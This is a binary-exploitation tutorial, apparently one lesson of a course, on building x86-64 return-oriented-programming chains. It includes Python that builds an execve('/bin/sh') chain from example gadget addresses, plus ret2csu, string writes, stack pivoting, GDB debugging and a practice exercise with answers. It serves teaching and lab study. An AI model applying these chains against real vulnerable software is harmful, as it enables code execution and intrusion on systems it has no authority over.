Building ROP Chains
A ROP chain is a queue of gadget addresses and data values laid out on the stack so that each ret hands control to the next gadget. The stack becomes the program. Instead of instructions in .text, the "program counter" is rsp, marching through gadget addresses that each do one small thing and return.
For the theoretical foundation, see Building a ROP Chain.
The Stack as a Program
In ordinary execution, instructions flow sequentially through memory and the CPU walks rip forward on its own. In a ROP chain, every gadget ends with ret, which pops the next value off the stack into rip. So rsp effectively becomes the program counter, and the stack is the instruction stream:
ROP Chain Layout
inst1; ret
inst2; ret
inst3; ret
A ROP chain is, functionally, a program. Each gadget is an "instruction" that does one small thing. The ret at its tail is the mechanism that advances to the next "instruction." The stack carries both the "program" (gadget addresses) and the "data" (values to drop into registers). That duality — stack as code, stack as data — is what makes ROP so powerful and so resistant to defence.
Anatomy of a ROP Chain Entry
Each gadget on the stack occupies one or more 8-byte slots:
ROP Chain Layout
pop rdi; ret
pop rsi; pop r15; ret
Building an execve ROP Chain
Time to build a complete ROP chain that fires execve("/bin/sh", NULL, NULL) on x86-64 Linux. The syscall demands:
rax= 59 (syscall number for execve)rdi= pointer to"/bin/sh"stringrsi= 0 (NULL argv pointer)rdx= 0 (NULL envp pointer)- Execute
syscall
Say we've already turned up these gadgets:
0x401233: pop rdi; ret0x401231: pop rsi; pop r15; ret0x401010: pop rdx; ret0x401022: pop rax; ret0x40118e: syscall; retAnd the string "/bin/sh" exists at address 0x402010 (in the binary's .rodata section or within libc).
The ROP chain:
import struct
def p64(addr): return struct.pack('<Q', addr)
offset = 72 # padding to reach return address
chain = b'A' * offset # padding
# Gadget 1: pop rdi; ret -- set rdi to "/bin/sh" addresschain += p64(0x401233) # address of gadgetchain += p64(0x402010) # value for rdi: &"/bin/sh"
# Gadget 2: pop rsi; pop r15; ret -- set rsi to NULLchain += p64(0x401231) # address of gadgetchain += p64(0x0) # value for rsi: 0 (NULL)chain += p64(0xdeadbeef) # dummy value for r15
# Gadget 3: pop rdx; ret -- set rdx to NULLchain += p64(0x401010) # address of gadgetchain += p64(0x0) # value for rdx: 0 (NULL)
# Gadget 4: pop rax; ret -- set rax to 59 (execve)chain += p64(0x401022) # address of gadgetchain += p64(59) # value for rax: 59
# Gadget 5: syscall; ret -- invoke execvechain += p64(0x40118e) # address of gadgetThis chain ends in syscall, which carries no 16-byte stack-alignment requirement — so no filler ret is needed here. The alignment rule bites when a gadget hands control to a libc function (system, printf, and friends), whose SSE code assumes rsp is 16-byte aligned at the call. Keep the two cases straight: raw syscall chains don't care about alignment, libc-call chains do (Chain 3 below shows the fix).
Visualizing the Chain Execution
Step through a ROP chain in the visualiser below to watch the stack pointer march through each gadget:
ROP Chain Layout
pop rdi; ret
pop rsi; pop r15; ret
pop rdx; ret
xor eax, eax; ret
mov al, 0x3b; ret
syscall; ret
Here is the step-by-step execution trace:
ROP Chain Layout
pop rdi; ret
pop rsi; pop r15; ret
pop rdx; ret
pop rax; ret
syscall; ret
The ret2csu Technique
Historic, for glibc < 2.34. GCC-compiled binaries used to ship __libc_csu_init, a function that hides a particularly handy run of gadgets. glibc 2.34 (Ubuntu 22.04 and newer, current Debian) dropped it, so this technique applies to older targets; on modern ones you reach for one_gadget, libc gadgets, or SROP instead. Its epilogue:
; __libc_csu_init epilogue (commonly found at a fixed offset); Gadget A: register loading pop rbx ; 5b pop rbp ; 5d pop r12 ; 41 5c pop r13 ; 41 5d pop r14 ; 41 5e pop r15 ; 41 5f ret ; c3
; Earlier in the function:; Gadget B: indirect call with controlled registers mov rdx, r14 ; 4c 89 f2 mov rsi, r13 ; 4c 89 ee mov edi, r12d ; 44 89 e7 call qword [r15 + rbx*8] ; 41 ff 14 dfBy combining Gadgets A and B, you can:
- Use Gadget A to load
r12,r13,r14,r15,rbx,rbpfrom the stack - Use Gadget B to move
r14 -> rdx,r13 -> rsi,r12d -> edi, then call through[r15 + rbx*8]
Two catches the short version glosses over. The write into edi is only 32-bit (mov edi, r12d), so this controls the low half of rdi — fine for small integer arguments, awkward for a full 64-bit pointer. And Gadget B sits inside a loop: the real code continues add rbx, 1; cmp rbx, rbp; jne ..., so you set rbx = 0 and rbp = 1 to make the call fire exactly once before the loop exits. Get those wrong and it either loops or skips the call. With that in hand, it gives you rsi, rdx, and a controlled indirect call from gadgets that lived in nearly every pre-2.34 dynamically-linked ELF.
Writing the "/bin/sh" String
If "/bin/sh" isn't already in the binary, you have to put it there yourself. That needs a memory-write gadget:
; "mov [rdi], rax; ret" -- write rax to the address in rdiChain for writing a string to a known writable address (like .bss):
# Assume .bss is at 0x404000 (writable, known address)bss_addr = 0x404000
# Write "/bin/sh\0" to .bss# First 8 bytes: "/bin/sh\0" = 0x0068732f6e69622f
chain += p64(pop_rax_ret)chain += p64(0x0068732f6e69622f) # "/bin/sh\0" as a 64-bit valuechain += p64(pop_rdi_ret)chain += p64(bss_addr) # write destinationchain += p64(mov_rdi_rax_ret) # write rax to [rdi]
# Now bss_addr contains "/bin/sh\0"# Use bss_addr as the argument to execveHandling Null Bytes in ROP Chains
ROP chains are full of null bytes — addresses like 0x0000000000401233 carry leading zeros. That's a problem the moment your overflow runs through strcpy or another string function.
Ways out:
- Pick a non-string overflow vector:
read(),recv(),fread()ignore null bytes entirely - Partial overwrite: only write the low bytes of the return address that actually differ
- Pick gadget addresses without null bytes: PIE binaries or specific library ranges may oblige
- Two-stage approach: stage one sets up a
read()that pulls the (null-laden) second stage from stdin
Common Chain Patterns
Call a function with one argument:
chain += p64(pop_rdi_ret) # gadgetchain += p64(arg1_value) # first argumentchain += p64(function_addr) # function to callCall a function with three arguments:
chain += p64(pop_rdi_ret) # set rdichain += p64(arg1)chain += p64(pop_rsi_r15_ret) # set rsi (and waste r15)chain += p64(arg2)chain += p64(0) # dummy r15chain += p64(pop_rdx_ret) # set rdxchain += p64(arg3)chain += p64(function_addr) # call functionChain two function calls:
# Call function_a(arg1), then function_b(arg2)chain += p64(pop_rdi_ret)chain += p64(arg1)chain += p64(function_a)
# After function_a returns, chain continues:chain += p64(pop_rdi_ret)chain += p64(arg2)chain += p64(function_b)Sometimes the overflow leaves you with too little stack real estate for the chain you need. Stack pivoting is the technique of redirecting rsp to a roomier buffer you control. A gadget like xchg rax, rsp; ret or leave; ret (which sets rsp = rbp) can sling the stack pointer over to an attacker-controlled region with plenty of headroom.
Debugging ROP Chains
When a chain misbehaves, GDB is your only friend:
(gdb) break *0x401233 # break at first gadget(gdb) run < payload_file# At the breakpoint:(gdb) x/20xg $rsp # examine the chain on the stack(gdb) si # step one instruction at a time(gdb) info registers # verify register values after each gadgetUsual failure modes:
- Wrong offset: the padding doesn't quite reach the return address
- Wrong gadget address: the gadget isn't where you think it is — double-check with
objdump - Missing stack data: the gadget has more
pops than you stacked values for - Stack misalignment: libc functions tip over inside
movapsbecause of the 16-byte alignment rule
Practise reading a chain from the stack dump. Each line below is what x/gx shows from the return-address slot onwards, one qword per entry, using the gadget addresses from this lesson (and 0x401234, the ret byte of pop rdi; ret, as a bare ret). Each chain has one bug. Name it from the dump and the symptom alone.
Chain 1 (crashes with rip = 0x0): 0x401233 0x402010 0x401231 0x0 0x401010 0x0 0x401022 0x3b 0x40118e
Chain 2 (crashes with rip = 0x402010): 0x402010 0x401233 0x401231 0x0 0xdeadbeef 0x401010 0x0 0x401022 0x3b 0x40118e
Chain 3, the ret2libc chain from lesson 1 (crashes inside system on a movaps): 0x401233 0x7ffff7b99e1a 0x7ffff7a52390Answers
- Missing dummy for
r15.pop rsi; pop r15; retpops0x0intorsiand then swallows0x401010, the next gadget's address, asr15. Itsretthen takes the following0x0as a return address and jumps to address zero. Onepoptoo many for the values you supplied shifts everything after it by one slot. - Wrong order. The value for
rdisits before the gadget that pops it, so the firstretjumps to0x402010, the address of the string, which isn't executable. In a chain the gadget address always comes first and its operands follow. - Missing alignment
ret. The chain itself is right, butsystemarrives withrspon a 16-byte boundary instead of 8 past one, and an SSE store inside it faults. Put0x401234(a bareret) first. It does nothing but pop one slot, which shiftsrspby 8.
What is Next
ROP chains sing when you know the exact addresses of gadgets and library functions. ASLR rerolls those addresses on every run. The next lesson covers how to break ASLR using info-leak primitives — pulling out one runtime address and using it to compute everything else.